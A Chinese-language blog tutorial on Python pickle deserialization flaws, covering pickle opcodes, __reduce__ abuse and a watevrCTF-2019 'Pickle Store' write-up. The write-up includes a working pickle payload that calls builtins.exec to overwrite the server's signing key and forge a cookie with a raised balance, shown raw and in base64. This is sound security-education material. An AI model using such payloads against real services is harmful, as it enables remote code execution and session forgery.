python pickle反序列化漏洞
Python Pickle反序列化漏洞
基础知识
0x00:Pickle/CPickle
pickle
或cPickle
,作用和PHP的serialize与unserialize
一样,两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同,但cPickle库的性能更好,之后就以pickle库来进行演示
0x01:Pickle库及函数
pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl
),不能直接打开进行预览。
函数 | 说明 |
---|---|
dumps | 对象反序列化为bytes对象 |
dump | 对象反序列化到文件对象,存入文件 |
loads | 从bytes对象反序列化 |
load | 对象反序列化,从文件中读取数据 |
dump/load
1 | #序列化 |
1 | import pickle |
dumps/loads
1 | #序列化 |
1 | import pickle |
序列化的字符串涉及到PVM
0x02 PVM–python虚拟机
作用
与JVM类似,它可以直接从源代码运行程序。Python解释器会将源代码编译为字节码,然后将编译后的字节码转发到Python虚拟机中执行。总的来说,PVM的作用便是用来解释字节码的解释引擎。
流程
PVM
会把源代码编译成字节码字节码是Python特有的一种表现形式,不是二进制机器码,需要进一步编译才能被机器执行 . 如果 Python 进程在主机上有写入权限 , 那么它会把程序字节码保存为一个以 .pyc 为扩展名的文件 . 如果没有写入权限 , 则 Python 进程会在内存中生成字节码 , 在程序执行结束后被自动丢弃 .
Python
进程会把编译好的字节码转发到PVM(Python虚拟机)
中,PVM
会循环迭代执行字节码指令,直到所有操作被完成。
PVM与Pickle模块的关系
Pickle是一门基于栈的编程语言 , 有不同的编写方式 , 其本质就是一个轻量级的 PVM .
由三部分组成
- 指令处理器( Instruction processor )
- 栈区( stack )
- 标签区( memo )
指令处理器可读的操作码
c
: 读取本行的内容作为模块名module
, 读取下一行的内容作为对象名object
,然后将module.object
作为可调用对象压入到栈中(
: 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组S
: 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中t
: 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中R
: 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中.
: 结束整个Pickle
反序列化过程
漏洞利用
__reduce__魔术方法
反序列化漏洞出现在 __reduce__()
魔法函数上,这一点和PHP中的__wakeup()
魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。而这恰好是反序列化漏洞经常出现的地方。经常构造一个类,在该魔术方法中加入危险函数
另外pickle.loads
会解决import
问题,对于未引入的module
会自动尝试import
。那么也就是说整个python标准库的代码执行、命令执行函数都可以进行使用
1 | import base64 |
当
__reduce__()
函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用 . 第二个元素是可调用对象的参数 , 同样是一个元组。这点跟我们上面提到的PVM中的R
操作码功能相似,可以对比下:
1 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中⚠️:在python2中只有内置类才有
__reduce__
方法,即用class A(object)
声明的类,而python3
中已经默认都是内置类了
可能出现的位置
- 解析认证token、session的时候
- 将对象Pickle后存储成磁盘文件
- 将对象Pickle后在网络中传输
- 参数传递给程序
命令执行
1 | #模仿Epicccal师傅的例子 |
- os.system和os.popen
os.system 调用系统命令,完成后退出,返回结果是命令执行状态,一般是0 os.popen() 无法读取程序执行的返回值,可以使用
commands.getoutput()
这个函数(回显结果)来进行代替,构造payload
拼接覆盖key,伪造cookie
[watevrCTF-2019]Pickle Store
payload
设置余额为10000
1 | import pickle |
输出
1 | b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u." |
但是key的覆盖只在因此请求中生效,伪造的cookie也必须一起发送,这时候就要拼接两个操作,把第一个pickle流结尾表示结束的.去掉,把第二个pickle开头的版本声明去掉,将两者拼接
第二个pickle流:b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."
拼接后
1 | b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u." |
base64编码后,注意要用python脚本,因为python中字符串b 前缀代表的就是bytes
1 | gANjYnVpbHRpbnMKZXhlYwpxAFg0AAAAZ2xvYmFsIGtleTtrZXkgPSBiJzY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2J3EBhXECUnEDfXEAKFgFAAAAbW9uZXlxAU0QJ1gHAAAAaGlzdG9yeXECXXEDWBAAAABhbnRpX3RhbXBlcl9obWFjcQRYIAAAAGNjYjQ4N2VlYzFjYjY2ZGRhOGQwMGE4MTIxYWViNGJmcQV1Lg== |
- 标题: python pickle反序列化漏洞
- 作者: Sl0th
- 创建于 : 2022-08-03 23:11:44
- 更新于 : 2024-07-03 23:29:01
- 链接: http://sl0th.top/2022/08/03/python-pickle反序列化漏洞/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。